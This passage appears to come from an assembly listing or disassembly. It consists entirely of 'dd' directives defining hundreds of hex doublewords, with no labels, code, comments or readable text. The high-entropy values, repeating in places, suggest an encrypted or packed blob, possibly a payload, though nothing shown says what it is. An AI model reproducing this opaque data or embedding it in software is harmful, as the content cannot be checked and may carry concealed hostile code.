27662D6Ch, 0FA132D6Ch, 0D314EAEFh, 0D2F32E04h, 44296831h dd 32664B10h, 0D465486Bh, 0D45E3423h, 57D6A81Ah, 0F1062D97h dd 7AAF016Ah, 0D2F58F05h, 0D7F32713h, 54F42D6Bh, 0D2F32FC4h dd 0D2F58BD9h, 5B132D1Ah, 6D132D6Ch, 44154491h, 749C5C75h dd 49F41152h, 0D37905ECh, 0D474E41Ah, 0F2F32D6Bh, 0F2F41255h dd 532D84BEh, 0D39E097Dh, 709B2D1Ah, 0ADD29541h, 0D3970A4Bh dd 2DC62D1Ah, 0D2F233F7h, 0D2F4961Ah, 4B0D2D1Ah, 2B835579h dd 6766FCFEh, 0D45BB7EAh, 26A7E41Ah, 49F32D6Ch, 0D459CF27h dd 7F2E961Ah, 55DB2D19h, 0FEECB3ECh, 0F43FD18Fh, 8A6E0BDh dd 0E1708013h, 6D516F83h, 54F42D6Ch, 0D2F32FF5h, 0D4895662h dd 0C0222D1Ah, 0E3D1DDC0h, 36C2A353h, 4F5CF363h, 5C1D0BA1h dd 0D46063ACh, 7F2871D9h, 52F42D19h, 0D2F32FF6h, 0D378317Ah dd 0C7F32D62h, 0D2F32E48h, 0CD75264h, 0D460A116h, 0D460AD23h dd 0FA1F1B1Ah, 551541F1h, 3DDB565h, 9FAB23Ch, 0D45E2E81h dd 49F4C0D7h, 0D2F4105Ah, 0D962951Ah, 0D2F32E17h, 88DD917Ah dd 0F4BC3773h, 7F3865AFh, 0D2F40619h, 0D1DA7ED9h, 22662D1Ah dd 0D50B2D6Ch, 0D2F4106Ch, 0D2F4111Ah, 283CD613h, 49F32D6Ch dd 0D378FCAEh, 0D442E41Ah, 0D2F32D1Ah, 0B343CD1Ah, 0F290907Eh dd 4FF3B4E3h, 22662D6Ch, 0A7F42D6Ch, 0D2F32D34h, 0D45E2F23h dd 0AF4B541Ah, 0D608B9C4h, 0C214469Ah, 71CDE2D1h, 246770B1h dd 2CF42D6Ch, 0D2F32E15h, 0D3EC687Ah, 5AAF2D1Ah, 1AF17737h dd 0D459D58Dh, 0B4574E1Ah, 58ABBAE2h, 0FCBC51Bh, 5AFB2EBFh dd 4E132D6Ch, 0B495C6A2h, 4BF41255h, 0CEF42D6Ch, 0D2F32D6Bh dd 0D39771D9h, 7A662D1Ah, 0D7B6CD19h, 4FF5B715h, 52F42D6Ch dd 0D2F32E2Dh, 0D723B97Ah, 0AF25F1F4h, 96F4114Bh, 7D3BBA4Bh dd 6D55C649h, 2CF42D6Ch, 0D2F32D6Ch, 0FBAEEF7Ah, 7A14D987h dd 0D3EC9619h, 5D3A2D1Ah, 7E6D9BDAh, 0D3EC9619h, 0ED092D1Ah dd 0D0635420h, 0D2F4111Ah, 0BAF32713h, 0C4FA2D6Ch, 0D1DA961Ah dd 64532D1Ah, 26AF4446h, 0D7F32C5Dh, 4ACA2D6Bh, 0A6F32D6Ch dd 0FAA4CCC9h, 2D49B009h, 0B90B6D7Ch, 7AC18DF9h, 5941CD19h dd 0CEF32D33h, 50BFD68Bh, 37E91A8Bh, 7F3D2892h, 5D41CD19h dd 98F32D33h, 75F89DEEh, 614F5666h, 3BCEE3EDh, 16043F8h dd 0A88D248Bh, 33DCC600h, 0F2F32D33h, 941508FDh, 49F4114Bh dd 0D378F870h, 0D489961Ah, 9BF42D1Ah, 0EDB29499h, 21419E8h dd 15B7BF4h, 0C73C3AEDh, 0D2F32D9Dh, 3B02F37Ah, 719A57FBh dd 0D3791E5Ch, 96F32E0Eh, 52F42D6Bh, 0D2F32FF5h, 0BAF4C0D7h dd 7A662D6Ch, 9823E419h, 0BAF32D6Bh, 0D4CA2D6Ch, 8F32D1Ah dd 0AFF5F393h, 0BAF326FDh, 7A0B2D6Ch, 25DCCD19h, 0B9F32D6Ch dd 446BAFE2h, 0A09231h, 7F9F9FE5h, 0C47F20ABh, 33C85E06h dd 0ACF32D33h, 98F9B96Fh, 823494C7h, 5B11240Bh, 90CA2D6Ch dd 0BEF32D1Ah, 1629000Dh, 0FD31D3AAh, 0BAF32F63h, 7A662D6Ch dd 3175E419h, 49F32D33h, 0D2F4105Ah, 0D2F4061Ah, 0D4654A23h dd 1A483C1Ah, 0BDE12E4Dh, 0D45E5CC2h, 4975E41Ah, 0C7F32D6Ch dd 0D2F32E04h, 17ACA3C1h, 6A54FE2Ch, 243F6295h, 0CAF32D6Ch dd 0FB41B267h, 3EE9D600h, 20B500ADh, 7DD9BDE9h, 0D2F40619h dd 0D45A5662h, 0FF3F2D1Ah, 1F5C044Bh, 49F41F22h, 0D379059Dh dd 3021E41Ah, 4BF32D6Ch, 38FA2D6Ch, 0B45CD254h, 0B02A9742h dd 1C6F9742h, 0C72A9742h, 0D90BEF2Bh, 3A69CE85h, 59CE2EE8h dd 6EF20319h, 3C2A983Dh, 572A959Ch, 50BB4971h, 0AD91B3DDh dd 0F04A9754h, 6E9D8F7h, 0D728DC5Ch, 0B02AB361h, 62299742h dd 572A9875h, 7EFFFCF4h, 0BE2AB25Bh, 681C6D8Fh, 2B78F754h dd 0B009A2Bh, 67C5A750h, 681C6B63h, 58C07854h, 3A2203B3h dd 8E4A94E1h, 0F564F754h, 0B8F0C387h, 0CBC44E83h, 0ACD0DB0Ch dd 0BE2AB316h, 67C5C71Bh, 0B1D3D254h, 0B02A9742h, 60299742h dd 572A973Ah, 681B9463h, 59DCFE54h, 473096BCh, 9A87346Eh dd 2D61E123h, 2EBC1722h, 0BE6F9742h, 912A9742h, 0A5A08A5h dd 0CD8F419Eh, 0D01DA1C1h, 8355F49Ah, 0CB57D254h, 0F72A9753h dd 681A479Bh, 67F79754h, 57491F54h, 0B1DBB9F4h, 0F72AB315h dd 6608480Ch, 0BAA4EDD4h, 57139742h, 572A97FEh, 36D9D7F7h dd 3D2C7357h, 83BBCDF2h, 681A3A2Ch, 68D7EAFDh, 2E329754h dd 6F3F480Ch, 67F79A93h, 8DDE2054h, 96759754h, 7AFC68DFh dd 681B2123h, 0ABA9D254h, 0B02A9742h, 8E329742h, 5CCCF754h dd 34CEC8Ch, 8E4AE6E5h, 57491F54h, 0BE2A9850h, 67C5E7B9h dd 0C7A1F754h, 7A2A9753h, 0D9CF3975h, 0BAAB3F07h, 460E9742h dd 62299742h, 572A95C1h, 572AA11Fh, 678E2FFDh, 9B299754h dd 572A9803h, 681A39FDh, 8E0E9754h, 68CC2054h, 3C4E9754h dd 0C818A999h, 0D5486681h, 64ABACF0h, 0F3E317D2h, 0F72A8D08h dd 2E31FE0Ch, 681B948Ah, 812A7354h, 0C161DF19h, 0D95E287Ah dd 237F4C90h, 34FEE4CAh, 0EF49F6D8h, 3C2AB361h, 572A95A8h dd 0DC255A8Eh, 9129B957h, 93B16D72h, 3D371018h, 63A6895Fh dd 67C5C7C9h, 0F0F98554h, 68CB6CC2h, 0C7D3D254h, 0F72A9742h dd 681A339Bh, 39AA9754h, 67C592AFh, 681C7C63h, 4C484854h dd 4F303ED3h, 88BF3F0Eh, 0F04A9754h, 0EF0ED487h, 0FF4A9742h dd 5CAEA89Bh, 67C5FC9Ch, 0A1049754h, 8E85283Dh, 57491F54h dd 572932FDh, 60299754h, 572A95C1h, 4F2A97CCh, 8E0E9742h dd 3C44F754h, 0CB78C051h, 574A9742h, 572A97FEh, 1AD0250Ch dd 59A8AD0Ah, 11F65E4Dh, 2E3BD88Bh, 0F050FE0Ch, 0D48BBC20h dd 6D4A9742h, 67C60FB2h, 40B39754h, 9A9B969Ch, 1BCBF47Fh dd 67C5A65Fh, 0C79BD5F4h, 92A9753h, 0B1F96F41h, 0A73F480Ch dd 67C5A86Fh, 67BB2FFDh, 393F9754h, 572AB354h, 67C5C763h dd 61A1E954h, 38EDCCA9h dd 572AA492h, 51CDD7B2h, 0E1668E5h, 6A1D4461h, 37F3C243h dd 681B5424h, 574820FDh, 8E329754h, 68D92054h, 2439754h dd 0BDD59A4Ch, 11F64F32h, 35CD1B9h, 681A3230h, 8E4FABF4h dd 0A9D99754h, 0BAE914B9h, 691EFCC7h, 0AB2AB316h, 60299742h dd 572A95C1h, 0F72A97CCh, 470B2273h, 172BDCBCh, 9AE171A9h dd 9AC1700Bh, 64CF978Ah, 1D7548BEh, 40EEC628h, 7F171174h dd 74799BFCh, 0AB5C82ADh, 9A109C5Bh, 9AC172DDh, 6F9A00AEh dd 2BD6CD02h, 0EEC18DC8h, 9AC971A9h, 9AC17265h, 78CC318Dh dd 0B61D15A7h, 2D645C11h, 0D1C39DEBh, 9AC18DBBh, 9240B05Bh dd 4CC171A9h, 0F16FC87h, 9AE171A9h, 9AC1700Bh, 2965521Eh dd 252835A4h, 5A9667C9h, 8FB62367h, 0BB7038F3h, 0AB5C8043h dd 0B496D75Bh, 0C540D6C2h, 47738A2Dh, 9AC17028h, 0AB5C6DC2h dd 3AC167DAh, 0B054CD29h, 0AB5C9456h, 1F4173BBh, 0C69A4A3Bh dd 9AC0FABBh, 0B6D71BBh, 0E2EA75DFh, 5EF3C3AAh, 0D1A45D32h dd 9ADFF9BBh, 0AB5CB9CAh, 424584BBh, 5555652Ch, 0EC4FEDF1h dd 0C6FC05B3h, 9A0CD1BBh, 9AC1700Bh, 30B4E3A8h, 0BA93A9A2h dd 0BD7CC371h, 8854E263h, 0AB5C9484h, 20B663BBh, 0A6AD621Ah dd 0D1E1A83Fh, 0AB28FABBh, 0C7B371BBh, 0AC6A03B5h, 0AC6BFABBh dd 67D671BBh, 7A326931h, 0DBD39911h, 0DCFAD12Ah, 92F78119h dd 0ABB1F6EAh, 3AC17233h, 40EFAA73h, 3AC18D5Ah, 0D1E1BC39h dd 0AB28FABBh, 5B0371BBh, 0D2F16C4Bh, 7A72D1BBh, 9AC16D87h dd 0A0416E5Bh, 6AE9B7h, 0AFC18DC8h, 1FE171A2h, 0C7AF39BEh dd 7FC18D7Dh, 9AC16D87h, 641F1834h, 0ADB5F62Bh, 8338D47h dd 0D1A571BAh, 9AC126BBh, 0C263B05Bh, 710227Ch, 0AB5C7FAFh dd 0CC40D75Bh, 0ACFFD6B1h, 1990B6E7h, 0AB5C72C8h, 0ABB356CAh dd 2F3CF6BBh, 0A49B78BEh, 8E23B800h, 93067029h, 34C171BBh dd 6D625F6Fh, 6F67D81Eh, 2BE5D722h, 7CD671A9h, 0B40ACBBh dd 3AC171BAh, 0F0D8302h, 12E171A9h, 6B1E180Ah, 0AB26EA3Fh dd 5C2971BBh, 3B602530h, 0D1E1C918h, 0C140D1BBh, 4663A98h dd 0FA6BACC8h, 0AB5C6DC9h, 0ABB26ECAh, 5A1AB3BBh, 98297A21h dd 0F4176773h, 0ECBD4721h, 8FCC4B3Fh, 12E171BBh, 233D4CD6h dd 2B64741Dh, 46FC7F25h, 0AEFBEF48h, 9AC1724Ch, 3B3EAC8Ah dd 9D4EF96Fh, 3B00C582h, 18C062E6h, 0F11ED29h, 1C18DC8h dd 9AC190D5h, 9AC18ABBh, 9299B05Bh, 4CC171A9h, 0F9973CEEh dd 1C18CC9h, 9AC18FFBh, 9AC18DBBh, 5CDDB05Bh, 7FC171A9h dd 9AC1705Eh, 722439D0h, 91FABF45h, 0C3FECC59h, 0FFCBC62h dd 0D1E180C1h, 9AC18ABBh, 0AB5CB9CAh, 6D4983BBh, 575BE154h dd 0EDFE505Fh, 0AB257A8Fh, 4072D1BBh, 0D20D6CEFh, 9AC18DBBh dd 0F3C172B7h, 32E171A9h, 1EB441C9h, 0AB5C7398h, 0EEC172B7h dd 5F0671A9h, 5EC171BAh, 540985FFh, 0BDD9CD0Dh, 0C01FC506h dd 5445FE61h, 5E960FEFh, 1AC4868Eh, 0A58E5433h, 48220D50h dd 0B5EADFA1h, 7F2F87D1h, 9B224C0h, 229C9815h, 0A4C3108Dh dd 278E1450h, 0DF8BD76Fh, 5D5A5A8Fh, 0A6A5C08Eh, 0A58E1E9Eh dd 993ADB71h, 423BBB99h, 0C169873Ch, 0E4D143CAh, 1DE89A79h dd 0A4E103C9h, 27DD1450h, 43ABF3FBh, 5F353E27h, 5AFEB98h dd 230DE376h, 5AC5525h, 0BD6DF905h, 0E551450h, 5E8E146Eh dd 94311976h, 85053FC2h, 0A480AB82h, 5F3515CCh, 5AFEB9Ah dd 0BD47D88Eh, 0C40D1450h, 15E6A1A6h, 0FB04A7FEh, 371D2FC0h dd 0A3AE8E01h, 0A40B65E9h, 0C7207450h, 0A428E70Ah, 841F1450h dd 0C36FE6CCh, 0B577D889h, 0F08F0FEFh, 0A58E1454h, 0A4D2F913h dd 0EB551450h, 678E1451h, 5C179BDDh, 8E36CC05h, 0F0BAEE42h dd 0ED906F9h, 0A355146Eh, 0BF8E1450h, 793DB174h, 100F7E25h dd 0BD461287h, 7D8E1450h, 9FAE31DCh, 0A33AE708h, 541450h dd 74F75EE7h, 95F69F72h, 73C2297Ch, 0F1E5F8E3h, 6CAE6BBFh dd 0BC1CA3D7h, 6B20C326h, 0A58E146Eh, 0A428D213h, 26F21450h dd 6A99EDDCh, 6D5F7B8Fh, 6CFCFE17h, 93AEB887h, 0BCBA93F5h dd 840EAD26h, 8AB74ADh, 0BB30B78Eh, 59D85B8Dh, 78636818h dd 0E07E8B1Bh, 0EA28C393h, 0A24806D2h, 0A4E10093h, 4667450h dd 0B8E1451h, 0F3FAA2C8h, 8A499B6Ch, 60ACBB16h, 0BE22AD6Bh dd 55121450h, 97EFCD66h, 251D21C2h, 0A40B646Eh, 0A40B3281h dd 999B4450h, 6A0F9BFEh, 0A58EC5E6h, 0F08F1450h, 0A58E0FECh dd 9CB1DD8h, 898F1451h, 0A58E0FE8h, 0A429D213h, 72551450h dd 0C58E146Eh, 331654BAh, 12102565h, 0DD2137FDh, 0DA44702h dd 0AF57D368h, 3A7142E5h, 0D97F449Ah, 72D17DE5h, 816650A9h dd 936D81DCh, 0B001713Ah, 1B83B851h, 68C94492h, 579C54DCh dd 8670207Ah, 94800C99h, 68C94492h, 0F4497CE8h, 0AAEE8CF7h dd 6301467Ch, 0EF594281h, 880170F7h, 0C4DDF5Ch, 5D014644h dd 47CE36A3h, 88914A02h, 0AEB1E26Ch, 0A5004645h, 0B001508Ah dd 0AF6E3D94h, 0C4BD7B45h, 0B816BD06h, 0C47B9CE3h, 7C2B1CBEh dd 0AF8418C9h, 8A214645h, 3D0E57B5h, 273A1D8h, 7493DCBAh dd 90AF4484h, 0B00141FBh, 4FF89C9Ch, 3B10DCEFh, 7F848A9Eh dd 821467Bh, 923988C0h, 0B0006B90h, 13764645h, 8298F695h dd 0CF3777D1h, 0D8FE28Dh, 0C8CC43D6h, 9B014189h, 0B0014670h dd 70353CA2h, 0AF6C18A0h, 0E5D4645h, 7456199Dh, 5E19459Bh dd 0BECD4Bh, 9E6EECDBh, 0B001508Ch, 0C6760577h, 979F8642h dd 0DBD37B5Ah, 5B0E27AEh, 0AF33B7B8h, 19C991B1h, 0AF84837Ah dd 0DF058D45h, 9B014645h, 0B00141D5h, 0FA7FE743h, 23FB86B5h dd 6CD19F90h, 795A556Eh, 3971A6C8h, 20E12822h, 280954DCh dd 0F183B91Eh, 19C94380h, 0B0017B7Ah, 7F2C8D45h, 9B01467Bh dd 0B00141DDh, 0E271626Bh, 0A86A9117h, 0C895F106h, 8214645h dd 45A5848Ch, 0A14B4496h, 75D0439Ch, 0B2991EDh, 0C818E32h dd 50014644h, 0E481461Eh, 3D47A362h, 0AF845B25h, 4DBFD545h dd 0B020CC82h, 0B0014733h, 0D9368BFFh, 3EE54BF1h, 43C4C842h dd 101E6245h, 0C8C1467Bh, 0DF808A20h, 0C8C9ADECh, 190141D5h dd 0AF8458EEh, 91AFA645h, 0B00141FBh, 3C24439Ch, 4F1265BDh dd 431F00F0h, 0C4C45B9Ah, 0B0014760h, 1BFA2F24h, 0C36842Ch dd 690E66ABh, 1C9FAAA7h, 5AF79AB8h, 2DD58B9Bh, 9400480Ch dd 0B001BD0Ch, 1899E364h, 36788CF9h, 1901467Bh, 0B00161FFh dd 490FDE45h, 0FDAFB48Bh, 0B0014803h, 0AEB28006h, 370A4645h dd 48C94104h, 0B0014731h, 0AF845A94h, 53F2CB45h, 0AB4E0BD3h dd 0B3D04EC1h, 0B00141E8h, 369DF769h, 848ACD13h, 0CDBC883h dd 6D04A644h, 0E5BF9743h, 1945999Ch, 0B001476Eh, 0AF5DDC06h dd 0F6DA4645h, 48014644h, 0BAD7E8D6h, 0FDA4DF8Eh, 782BEF86h dd 9A8DDE93h, 3B0A4F36h, 0B0039747h, 0C50A4645h, 0C9D047C3h dd 0D481B8E5h, 326D5602h, 0B00141F9h, 0B4617B2h, 0CE26179Bh dd 95D220EBh, 0AEB16C9Ah, 8F6C4645h, 30F444Eh, 43F0E226h dd 335D138Ah, 0AAC45B77h, 0B001617Bh, 6929DE45h, 5AAF8F34h dd 9B4B4202h, 884B81E2h, 4E01467Bh, 0B3C5C7B8h, 0B0014733h dd 0F6E88C99h, 62B33953h, 690EE89Ch, 0B007F7DCh, 6B474645h dd 19C9DD93h, 0AC47F180h, 0B0014645h, 7CE8E283h, 14C95704h dd 0AF848D26h, 2D6D4645h, 0EB17C599h, 206EB43Ch, 0DE8A6C8Fh dd 0AEB38006h, 49214645h, 10E93A19h, 36014644h, 8DE59BEEh dd 0BDDFDA5h, 703C52B8h dd 7BE98B9Bh, 37014644h, 0CEB56664h, 0AFA4FE5Eh, 0A5BCF8DCh dd 0AAA63919h, 0B3C8245Dh, 0B0014732h, 4FE62FCDh, 0A92926ECh dd 0A49DA983h, 2E0FDF35h, 1020535Ch, 14526F7Fh, 0AF6F2A79h dd 0B604A645h, 88E6F0C0h, 2272D89Bh, 0AEB30BF2h, 7D004645h dd 0F441B513h, 6BA2A949h, 0A620973h, 62CA7AE1h, 0AFA70E05h dd 400A4645h, 0CDA4642h, 0FF014644h, 4BC419B7h, 3009D411h dd 0CF789DADh, 0A6519D52h, 68D9A1DAh, 0AF6ED063h, 7BB4645h dd 6341B7D8h, 4052A732h, 4F52BFB7h, 0CD0F70Dh, 2839B8D8h dd 5B6552B8h, 43AF8B9Bh, 0B00141F9h, 65121B64h, 19C94380h dd 0AEB2A9FFh, 192C8D45h, 9B01467Bh, 0B0014733h, 1853FC81h dd 2E115A3Eh, 654818F1h, 0C8E26BE4h, 0E69E4645h, 0B0D20877h dd 0F2BB1A6Fh, 0C366509Dh, 4F6FE92Ch, 43D9FD0Dh, 0E44B4499h dd 0AFF90E06h, 91004645h, 0B001467Eh, 0AF849194h, 7FD52D45h dd 0E3724104h, 1B3E3A10h, 758396FCh, 53C291DAh, 0C8C8DEFAh dd 28114645h, 70E094E7h, 83248650h, 32CA7DEBh, 283854DCh dd 3001371Dh, 0C90CDADCh, 0B27D4645h, 0C9AF0954h, 99BD4645h dd 21A71618h, 0F08D78D7h, 0FBF20988h, 0AF6DC7D1h, 0B22C8D45h dd 50014645h, 0B44B73B1h, 0EB81819Ch, 0AB01467Bh, 0F709C93Dh dd 0AF844993h, 291C6F45h, 6FAE6944h, 0FDAF6C09h, 0B0014696h dd 0AF846494h, 93D9E945h, 3CF7453Dh, 0AF846525h, 0C5EEA445h dd 0EDEE3EC4h, 7D7BF5B1h, 0C30B38CAh, 0B00161C3h, 31B7DE45h dd 101C3852h, 0B0018626h, 1FFEBC45h, 3FD4F09h, 97C78B0Ah dd 3386F884h, 3AC4314Fh, 0A2AF9433h, 0B001476Eh, 0D595F223h dd 3D4B43BCh, 0AE382D9Eh, 0AF84D87Ah, 864AA645h, 366D73DAh dd 8C6CC868h, 0B0014189h, 0A5474EE5h, 2DD05129h, 6D24772Dh dd 5AE9511Ah, 19D04F1Ch, 0B0017079h, 0D987DE45h, 0C4862B06h dd 41214645h, 1415211Fh, 36ECF70Dh, 62494392h, 101C3852h dd 884C449Bh, 4801467Bh, 8EA51CBh, 0CCB32B1Eh, 366F52E8h dd 543F02F5h, 4A45E939h, 366B71FBh, 0B30A9CD2h, 14526936h dd 0AF8479B1h, 264CA645h, 0CA014644h, 0D22C1554h, 20548DFAh dd 9BA45312h, 0C047ED63h, 0B04343D7h, 0B00150B8h, 0D6BCBB00h dd 2EF42A5Bh, 0AD99ABE8h, 0F07932D1h, 8121C132h, 0AF6ED063h dd 7BB4645h, 633B8FD8h, 0B1210C32h, 0B001471Eh, 7F3CC23Ah dd 7083FE7Fh, 0C0081ECAh, 0B7FA3953h, 0B0014704h, 0D036274h dd 0B9E67F3Dh, 0B01C92D1h, 0B001476Fh, 0FF1B6376h, 0B05A06Ah dd 0EC5BAB62h, 0B3C94380h, 0B0014706h, 0F55AA4F6h, 0A62B268Bh dd 67FB7B23h, 83DA908Ah, 0B001777Bh, 0B0018594h, 5A8A8745h dd 5C99B118h, 669ADCEh, 0C09B0BB6h, 303A39BEh, 88946EDBh dd 0AF8477D2h, 8E733245h, 193C0A57h, 0AF846477h, 0AAEE8D45h dd 5001467Ch, 0AE28269Ah, 0AF848CB9h, 144CA645h, 3C01467Bh dd 278CBE62h, 1B8464E6h, 0ED122EBDh, 3FB99C52h, 0D5972B1h dd 0F1837D9Bh, 68C94380h, 0C1B0FBBDh, 27BB32F0h, 703CE2B2h dd 0B7E98B9Bh, 0BB014645h, 19E0002Eh, 49CDD675h, 2A2BF499h dd 1E5B429Bh, 7F3DFCB8h, 86DB10Eh, 0B0014705h, 0AF844994h dd 94A9EE45h, 2ACDF4D9h, 0B0D59D3Fh, 0B0014645h, 0F107E283h dd 0E0269EB8h, 0DC94FFA1h, 0DB26067Dh, 0CB5D224Bh, 6FCE9FD3h dd 20239B14h, 6C1E2B01h, 0CC6BE505h, 4FD314D3h, 0E400FE1Fh dd 80449A8Fh, 633758A6h, 65549C0Dh, 0E6A9CE8Fh, 0E4DA1E76h dd 799E00A5h, 0E9A4F425h, 33A4E699h, 0C8EE9FEDh, 3AB23EEDh dd 9806E40Dh, 94EE9FD2h, 0F131A975h, 9129E51h, 3FBF75FEh dd 7491E126h, 0CB5E504Ah, 0AEEF9FD3h, 0CDEEA91Ch, 0CC819602h dd 0A5AE86D3h, 8FB60F30h, 92E5A944h, 81EA881h, 2C064BF5h dd 0F4EE9FD2h, 70E7AA90h, 0CC866D5Dh, 36EEA053h, 0CC6BC8CAh dd 0CBC0E6D3h, 6DEE9FEAh, 356BF60Ch, 0CC6BB178h, 36A4E6D3h dd 6DEE9FEDh, 773F150Ch, 2DCF06BFh, 0CC810C86h, 2D359FD3h dd 7DEE9FD2h, 8DCA6801h, 0CD9B6B73h, 8556B403h, 0CC15715Ch dd 3B7A9FD3h, 86E9AA6Ch, 3970554Ah, 2D6CE117h, 36EE9FEDh dd 0CC6BCF78h, 0E1EBE6D3h, 55EE9FD3h, 0CC821FEDh, 0B76BE3F2h dd 0CDEE9A4Fh, 0A77E934Eh, 0C5558496h, 5E72FC56h, 39DF0D26h dd 0ACFB6E30h, 9FCA888h, 36269C16h, 0CDEEBAECh, 0F19437D3h dd 0CC809102h, 0EFFEB5D3h, 7C02F8C1h, 0EF2F7B72h, 0E36E9B73h dd 0B655D1DDh, 65BDD8FDh, 0CC6BBEB3h, 7FEC4FD3h, 0FD722D08h dd 0E5277156h, 0C5CD9FD3h, 589DAC53h, 87E976B7h, 316204F7h dd 0E6D5C40Dh, 313A9FD3h, 3B32A740h, 9D9349F5h, 0CDEE9A05h dd 336EA1D3h, 2DCFF17Ch, 0E6406464h, 9CD99FD3h, 0BFBAA5D2h dd 1380CFF8h, 10D72596h, 8643FE27h, 7498AD4Ah, 0CDAAFEECh dd 9CB96373h, 0CDCE9FEDh, 0CDEE9A7Eh, 9506884Ch, 0C11EC60Ah dd 50B486Dh, 280303A2h, 3CF34B0Dh, 53FAFD1Ah, 0CDED6328h dd 0C42C9FD3h, 6D15CD5Ch, 0FD638EEEh, 0E02DE95Bh, 28621F9Dh dd 0CDCE65A4h, 0CDEEA090h, 0F49A4E0h, 0CEA1F1A8h, 439FCB7Bh dd 0E4723A39h, 0CC819602h, 5B768CD3h, 0D87D012Ch, 74161073h dd 45F3A618h, 0CC486440h, 0C3639FD3h, 0B5876813h, 36EFEDC6h dd 0BBF64954h, 0B9A401A0h, 0E501DA73h, 6BEE9FD3h, 45C438B5h dd 3695640Ch, 45F69FEDh, 0CDEE8E4Ah, 4CEF9FD3h, 0CDEE9A6Ch dd 0ECCED15Bh, 0FDE9718Dh, 0CC81C40Ah, 3C489FD3h, 0E1CFB4F8h dd 0CF124AA2h, 0C8C24B1Dh, 74CE9A62h, 280E2F63h, 0CB5A6328h dd 0C00C9FD3h, 7E291D72h, 6DBA44Bh, 0C08932DDh, 5CE987C6h dd 0CDC30C73h, 311D3B5Ch, 0B5400031h, 0CDEE9A6Ch, 0CCB965B6h dd 60C99FD3h, 27850318h, 0F6FF8673h, 0A6FF26CFh, 53A14653h dd 9D9C362Bh, 0CC809154h, 0CF6EE6D3h, 36EE9FD3h, 0CDEEA0E5h dd 6FCB4AD3h, 9099FE63h, 88CB9B83h, 0F0901A8Fh, 35A59EE0h dd 0CCA3AAF4h, 4FEE9FD3h, 0F0DB62ECh, 0CB93E50Dh, 0CC8083CBh dd 0CC4938D3h, 98CD9FD3h, 4D247235h, 9D43FE2Eh, 6CB195CAh dd 0EF3C267Eh, 0D06E9E33h, 53CC478Ah, 0CC819644h, 59E1CBD3h dd 0AE383FDEh, 9B644AF2h, 7CB42D1h, 6CA231C4h, 0E57E224Ah dd 2C069FD3h, 0EBEE9FD2h, 0BF62EA6Ah, 3AA39B15h, 36EE9A6Ch dd 0CC808C7Bh, 0B86EFFD3h, 3D797508h, 45D6129Bh, 0B082E0AEh dd 0CDEEA1F2h, 0CC6BEA02h, 0C5DD89D3h, 84365F3Fh, 7CCA0BC6h dd 321F40ADh, 86F604ACh, 74AF509Bh, 0E1EBEA53h, 50EE9FD3h dd 0BB99B328h, 28621F9Dh, 29C8E7A4h, 36EE9FD2h, 0CDEECF69h dd 86CEFFD3h, 36CBF90Ch, 0CC6BF052h, 0E1D838D3h, 0F359FD3h dd 0A49297E1h, 0B1994C54h, 6D9B94C4h, 1C349B14h, 7D97E600h dd 36EE9A6Ch, 0CDEEBA7Bh, 47A237D3h, 0D3EE9FD2h, 2F437CA4h dd 6CB0129Bh, 0E502DA0Dh, 50EE9FD3h, 0ADBD9C0Ch, 0D4C8F0DFh dd 0B8EE9FD3h, 0CDEE9A4Bh, 10CB03AFh, 0B89A8A67h, 0E74E3B9Ah dd 0CC6BF802h, 447529D3h, 0AD461719h, 5FABBB26h, 0D74E7799h dd 93A80F24h, 3259E56Ah, 34EE9FEDh, 853F1B6Dh, 0BBBDA70Dh dd 0CDEEA91Ah, 7C44F9C9h, 82485768h, 973DB011h, 4CB3EB47h dd 0A3A39C20h, 0C8EEA0CDh, 0BB90CDB1h, 0E36E01A0h, 0DA1905F1h dd 0CC6BDB45h, 0B1B01ED3h, 8F34DED3h, 0BB7F23C2h, 0ADCC8FF0h dd 2C35A720h, 79EE9FD2h, 759AF87h, 0E63B2702h, 0CD8839A0h dd 0CDEE9BB7h, 694765D8h, 298C30A9h, 81AE770Dh, 2E06EB62h dd 63EE9FD2h, 0E741E385h dd 86F309EBh, 0EB68B87Eh, 87A49A07h, 0F1A400C6h, 98A2240Ah dd 0A6EE9FEDh, 0F4522BE4h, 0F8FC3924h, 0A042688Dh, 74CE9A61h dd 0E59576ECh, 0AE40500Ah, 0CDEE9FE8h, 0CC6BEA02h, 0B3EA04D3h dd 8C5F5518h, 0E43848F7h, 6111A52h, 2BA4DBD7h, 36EE9FD2h dd 0CC819406h, 744138D3h, 2CCB2B41h, 0E1BC9288h, 57F44B8Ah dd 4C8D05B4h, 98FE0D9h, 6E6A37A2h, 9319D0A9h, 84976BEFh dd 6E6A596Eh, 164DAB41h, 0CA068E42h, 6EB767F0h, 0FED9F941h dd 0BAFFD3FDh, 0FF09C3ACh, 0D1CDD25Ch, 6D5ADC2Ch, 0AE6E2B41h dd 0B5DA3DEBh, 5B95AC6h, 4A0DEF22h, 6998477Ah, 6E6A37FAh dd 7E520136h, 79FA62F4h, 0F2B1320Dh, 5C0919A6h, 74F3020Ch dd 0CE6A2B41h, 6EB7D156h, 77D92B41h, 5C738545h, 6EB7FA84h dd 46B2B41h, 6E6A37F8h, 0CEB2760h, 7A2232BCh, 716A2B40h dd 6E6A2BD3h, 0FBD3E5A3h, 9157EAF5h, 0F9C6C262h, 744DA4D0h dd 0D4FF2B41h, 4887E63Bh, 5CD537C1h, 0AFDFF5A7h, 0CEBC7D04h dd 0D44397C2h, 6E819856h, 9F312B41h, 0D06A2B41h, 6DD6F1A2h dd 0E8B42125h, 9B6048A1h, 395C4015h, 0EF4F0D60h, 3164286Ah dd 0FB4C7960h, 6E6A2BC6h, 6B376F61h, 0F96A2B41h, 0DBD93EDAh dd 0CFA03539h, 0F4C97F9h, 6E6A2A17h, 0CF0D9007h, 0FAF4B304h dd 6EA75943h, 0DC322B41h, 198D5689h, 0BA12BE2Ch, 0E3041760h dd 0BB7A4F75h, 6DA91622h, 6EB7D7CCh, 6D33F841h, 6B0968FEh dd 999E2B41h, 0E66DFF56h, 0FDB9516Ah, 6DF000E9h, 6E6A4F6Dh dd 4C371441h, 0FB6B14FCh, 6E6A2B40h, 6D5CABE6h, 86312B41h dd 966A2B41h, 227D7B4Ah, 0EBD1D547h, 6F690F8Fh, 743B4218h dd 833B8C36h, 6E6A3659h, 0D51968BFh, 5F1E5784h, 0E6CA5AC8h dd 94F946Ah, 6E6A2B4Fh, 6EB75018h, 0F6152841h, 0D622B5E5h dd 6C17AC34h, 0D8DB17FEh, 0F4F22B5Eh, 128FDD3Ah, 6E6A5953h dd 6E8D0918h, 94D9E641h, 49A954DBh, 0D5FF817Bh, 7D17ACE0h dd 68AF17E5h, 68312B40h, 5D6A2B40h, 5DB10566h, 